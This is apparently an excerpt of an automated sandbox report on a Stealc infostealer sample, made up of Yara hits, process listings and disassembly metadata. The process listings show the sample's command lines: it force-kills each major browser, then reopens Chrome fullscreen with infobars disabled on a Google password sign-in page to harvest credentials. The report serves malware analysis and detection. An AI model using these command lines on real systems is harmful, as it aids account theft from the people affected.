MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000002.2898285254.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000000.2885228529.0000000000641000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:27:37
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:27:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:27:38
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:27:38
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	07:27:38
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:27:38
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:27:39
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:27:39
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	07:27:39
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	07:27:39
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	07:27:40
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	07:27:41
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2004,i,8592830290365317448,7467397625344037838,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	07:27:46
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe"
Imagebase:	0x2e0000
File size:	1'883'648 bytes
MD5 hash:	B15D0A2A19F5D2A6636C85443E0284C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	07:27:46
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	07:27:46
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	07:27:46
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	07:27:46
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	07:27:46
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	07:27:47
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	07:27:47
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	07:27:47
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	07:27:47
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	07:27:47
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	07:27:47
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	07:27:49
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	07:27:49
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=2056,i,1132564284520540060,11615293102951086546,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"
Imagebase:	0xe40000
File size:	919'040 bytes
MD5 hash:	6D09B95CC7D01AFE4997AF5E6E550580
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	70
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	07:27:54
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5364 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	07:27:55
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xed0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	07:27:55
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	07:27:55
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5528 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05490DAE Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137986133.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_xwZfYpo16i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831b7bfa3cbcefcf709e20fe963d79dedb55ab1574ec97ede1c582a6d0920d8b
Instruction ID: 9b4eacee8bb530f990606371cc980674148feaf56a0cde9c92a94e2ecb8286a5
Opcode Fuzzy Hash: 831b7bfa3cbcefcf709e20fe963d79dedb55ab1574ec97ede1c582a6d0920d8b
Instruction Fuzzy Hash: A211A8EB24D2217D7956D1863F19EFBABAEE1D6B70330C82BF407C5506D2990E4E2132

Function 05490DB9 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137986133.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_xwZfYpo16i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 801f2eca29b8c63c3c1ca2f4b6d4d5e6a561ef8ef7cb2d1e258aed55b8a894ee
Instruction ID: fc187a3af1d54c099a3e65fc24b9b966caaac1bb5e93e17730cacbbcab9d5134
Opcode Fuzzy Hash: 801f2eca29b8c63c3c1ca2f4b6d4d5e6a561ef8ef7cb2d1e258aed55b8a894ee
Instruction Fuzzy Hash: 2A11C5FB24D210BD7546C5867B19EFBABAEE5D6B30330C82FF407C2506D2990E4A2132

Function 05490DCF Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137986133.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_xwZfYpo16i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0c12f9316596db617b2e8e745351c430e716a55ae5bcd4fc5fe20145628a1a
Instruction ID: 5535d687cb18600d30342bb56c4a17e1fe494850ebabfcbbb4a716c95ac797b8
Opcode Fuzzy Hash: 8b0c12f9316596db617b2e8e745351c430e716a55ae5bcd4fc5fe20145628a1a
Instruction Fuzzy Hash: 8311CCEB24D2107D7552D1467F29EFB5BAED1D6B30330C82BF847C2546D2990E4E2132

Function 05490E0B Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137986133.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_xwZfYpo16i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c680a36ab1ea3c5be14424aa7c4ef4127ec0937abb343e17479a54982222731
Instruction ID: 3106f3e24d69d9837c7c5c07a3cc4aa57fb786f01eab43ee1a2cf91eb760aa46
Opcode Fuzzy Hash: 0c680a36ab1ea3c5be14424aa7c4ef4127ec0937abb343e17479a54982222731
Instruction Fuzzy Hash: 0711C0EB24D1607D7906C0863B69AFB6BAED4D7B31330887FF406C5403D68A0A4F5132

Function 05490E4F Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137986133.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_xwZfYpo16i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8af4ef5f93adf78ace090bcb5507b6eb594679a9f8901805d2c26d922dea7c8
Instruction ID: ac13d4b4628def66349ee70ef994a1607ff57bdc5a077e60363828115e806b15
Opcode Fuzzy Hash: c8af4ef5f93adf78ace090bcb5507b6eb594679a9f8901805d2c26d922dea7c8
Instruction Fuzzy Hash: AE0140EB28D2507D7942C1867B59EFBAB6EE5C6B30330C82FF407C5506E2994E4E6132

Function 05490DF8 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137986133.0000000005490000.00000040.00001000.00020000.00000000.sdmp, Offset: 05490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5490000_xwZfYpo16i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a199defa420411c2888f7998589e562cfa1bbd8e5091c1e685d126a5f45bcea9
Instruction ID: 7e2a2415f844f69e4535046113b7238e5050f400036ccde869f2c59111f511ff
Opcode Fuzzy Hash: a199defa420411c2888f7998589e562cfa1bbd8e5091c1e685d126a5f45bcea9
Instruction Fuzzy Hash: 19012CEB24D2507D7902C1867B59EFBAB6EE5C6B30330C82FF406C1402E2990E5E6132

Analysis Process: cb428cafc9.exePID: 6520, Parent PID: 5560COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	1696
Total number of Limit Nodes:	55

Executed Functions

Function 00E442DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00E4430D

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

GetCurrentProcess.KERNEL32(?,00EDCB64,00000000,?,?), ref: 00E44422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00E44429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00E44454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00E44466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00E44474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00E4447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00E444A0

Strings

GetNativeSystemInfo, xrefs: 00E44460
|O, xrefs: 00E836F8
kernel32.dll, xrefs: 00E4444F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 55941ee0db4d2db7a7b1c936f5701276e1fbcfd795493416a6c3f8266a7ba100
Instruction ID: 7e891b8ae1a9f849d49a28f14ab25ab6c192494d1c276d11c875a358c8364e24
Opcode Fuzzy Hash: 55941ee0db4d2db7a7b1c936f5701276e1fbcfd795493416a6c3f8266a7ba100
Instruction Fuzzy Hash: 08A1E9A190A2CCCFCB11D7B97C443D57FE47B26744F1AE49AD2B5B3A6AD2204508FB21

Function 00E442A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00E450AA,?,?,00000000,00000000), ref: 00E442B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00E450AA,?,?,00000000,00000000), ref: 00E442C9
LoadResource.KERNEL32(?,00000000,?,?,00E450AA,?,?,00000000,00000000,?,?,?,?,?,?,00E44F20), ref: 00E835BE
SizeofResource.KERNEL32(?,00000000,?,?,00E450AA,?,?,00000000,00000000,?,?,?,?,?,?,00E44F20), ref: 00E835D3
LockResource.KERNEL32(00E450AA,?,?,00E450AA,?,?,00000000,00000000,?,?,?,?,?,?,00E44F20,?), ref: 00E835E6

Strings

SCRIPT, xrefs: 00E442BF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: bf7bf6858f7e86f03d62575d058c309ed6313114d24fcc938d0133725c613de7
Instruction ID: caefd118e8bb3fa077b05847d81d1a1f8703c33c99367eba407977702178dde0
Opcode Fuzzy Hash: bf7bf6858f7e86f03d62575d058c309ed6313114d24fcc938d0133725c613de7
Instruction Fuzzy Hash: BA1170B0201701BFDB219B66EC48F677BB9EBC5B95F20416EB406A62A0DBB1D804C620

Function 00EADBBE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,"R), ref: 00EADBCE
GetFileAttributesW.KERNELBASE(?), ref: 00EADBDD
FindFirstFileW.KERNEL32(?,?), ref: 00EADBEE
FindClose.KERNEL32(00000000), ref: 00EADBFA

Strings

"R, xrefs: 00EADBCA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID: "R
API String ID: 2695905019-1746183819
Opcode ID: 23680e49f2c7b13fb65c4a8b442a3f815f9aa95cd02b832c9cda0759f026c88c
Instruction ID: 1ad0a862d29b0573d466b0620cedc4557a32206d62cf6bf6475ea8b42e7b5180
Opcode Fuzzy Hash: 23680e49f2c7b13fb65c4a8b442a3f815f9aa95cd02b832c9cda0759f026c88c
Instruction Fuzzy Hash: 49F0A7304159155B82206B78AC0D4AA777CDF06374B604713F476E24F0EBB46D58C595

Function 00E82BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

